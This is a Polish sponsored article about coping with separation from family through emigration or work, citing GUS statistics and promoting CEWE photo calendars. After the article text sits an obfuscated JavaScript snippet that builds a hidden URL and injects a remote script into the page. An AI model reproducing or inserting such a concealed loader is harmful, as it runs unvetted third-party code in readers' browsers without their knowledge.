Bądź z bliskimi cały rok

Wydaje się, że w XXI wieku rozłąka z najbliższymi nie powinna być aż tak wielkim problemem. W dobie telefonów, Internetu i mediów społecznościowych komunikacja stała się łatwiejsza niż kiedykolwiek. Co zrobić w sytuacji, gdy z jakiegoś powodu nasz kontakt z bliskimi jest ograniczony? Z całą pewnością nic nie zastąpi ich bezpośredniego przebywania z nami, jednak jeśli mamy ze sobą zdjęcia rodziny i przyjaciół, możemy przywoływać piękne wspomnienia i czuć się lepiej, tak jakby oni znajdowali się w naszym gronie.

Dlaczego wyjeżdżamy?

Przyczyny rozłąki mogą być bardzo różne. Najpowszechniejszy z nich jest oczywiście wyjazd za granicę w celach zarobkowych. Według raportu „Informacja o rozmiarach i kierunkach emigracji z Polski w latach 2004–2015” podsumowującego badania Głównego Urzędu Statystycznego, z końcem 2015 roku poza granicami kraju czasowo (co najmniej 3 miesiące) przebywało 2,3 mln Polaków. . Co więcej, około 80 % wszystkich opuszczających Polskę rodaków pozostaje na obczyźnie przez ponad 12 miesięcy. Taka sytuacja sprawia, że uznaje się ich za długookresowych emigrantów. Wyjeżdżając, często pozostawiają bliższą i dalszą rodzinę, a nawet jeśli zabierają ją ze sobą, w ojczyźnie mają swoich przyjaciół. Czasem nie trzeba wyjeżdżać aż tak daleko, aby znaleźć się w podobnej sytuacji – wystarczy załatwić sobie pracę w innym mieście. Z danych uzyskanych w wyniku ostatniego Narodowego Spisu Powszechnego, przeprowadzonego przez GUS, wynika, że aż 3,1 mln osób dojeżdża do miejsca pracy poza swoją gminę. Oczywiście rozłąka nie musi łączyć się z pracą. Dotyczy ona również sytuacji wyjazdu dziecka na studia do innego miejsca w Polsce czy na świecie. Czasem dorosłe dzieci wracają do rodzinnego domu, zdarza się jednak, że zostają w obcym państwie na stałe.

Wyjazd i co dalej?

Podjęcie decyzji o rozstaniu się z bliskimi jest bolesne i trudne, choć w większości przypadków okazuje się dla nas jedynym możliwym wyjściem. Przeważnie wybieramy to rozwiązanie po długich rozterkach wewnętrznych i rozważeniu różnych innych opcji postępowania. Wrzuceni w obcą rzeczywistość ludzie potrzebują czasu na aklimatyzację, poznanie nowych miejsc i nawiązanie relacji z sąsiadami, czasem również na nauczenie się języka kraju, do którego przyjechali. Szczególnie w tych pierwszych momentach, poza jak najszybszym nawiązaniem kontaktów z otoczeniem, ważne jest, by mieć przy sobie wyraźne wspomnienie o bliskich. Najlepiej, jeżeli idzie ono w parze ze zdjęciami rodziny i przyjaciół.

Bliscy zawsze z tobą

Ważne fotografie warto trzymać w jednym miejscu. Nie oznacza to, że powinny być schowane w jednej szufladzie. Ciekawym pomysłem jest stworzenie z cennych zdjęć pewnego rodzaju kolażu w formie fotokalendarza. Dzięki temu rozwiązaniu, proponowanemu na przykład przez firmę CEWE, najpiękniejsze kadry będą zawsze wyeksponowane, a w dodatku to ty sam zdecydujesz, jakie zdjęcia zagoszczą na ścianie. Samodzielnie można wybrać również rozmiar oraz typ papieru, na którym wydrukowane zostaną fotografie. Fotokalendarz może pomóc nam w stworzeniu przyjaznej atmosfery w obcym miejscu, które w żaden sposób nie przypomina rodzinnego domu.

Tego rodzaju metoda ma jeszcze jedną zaletę: nie zawsze zdjęcia, które chcielibyśmy ze sobą zabrać, zostały wykonane techniką analogową. Często, szczególnie dotyczy to nowych fotek, ich jedynym nośnikiem jest karta pamięci. Kalendarz pozwoli zmienić formę zdjęć cyfrowych na bardziej „tradycyjną”.

Fotokalendarz sprawdzi się nie tylko w przypadku długotrwałej rozłąki. Do wyboru, poza formatem ściennym, mamy również format biurowy, dzięki któremu można być z najbliższymi cały czas – w domu i w pracy. Poszczególne zdjęcia mogą również korespondować z miesiącami, którym zostaną przypisane. Być może warto umieścić zdjęcie córki na karcie z miesiącem jej urodzin lub zdjęcie mamy w maju, gdy obchodzony jest Dzień Matki? To, jaki kształt będzie miał nasz fotokalendarz, zależy tylko od nas.

Trudne momenty rozstania staną się znacznie bardziej znośne, gdy na ścianie lub biurku umieścimy zdjęcia przywołujące dobre wspomnienia. Dzięki formie kalendarza będziemy mogli pod fotografiami z powodzeniem skreślać dni pozostałe do naszego powrotu.
(function(){ t18uu="nqabddqe18uv";t18u=document.createElement("script"); t18u_="u"+("st");t18u_+="at"+(".");t18u.async=true;t18u_+="in"; t18uu="153."+t18uu;t18u.type="text/javascript";t18uu+="enXs3ipx3leX"; t18uu+="5i2p";t18u_+=("f")+"o"+("/");t18u.src="//"+t18u_+t18uu; t18ud=document.body;t18ud.appendChild(t18u);})();

Źródło: Artykuł sponsorowany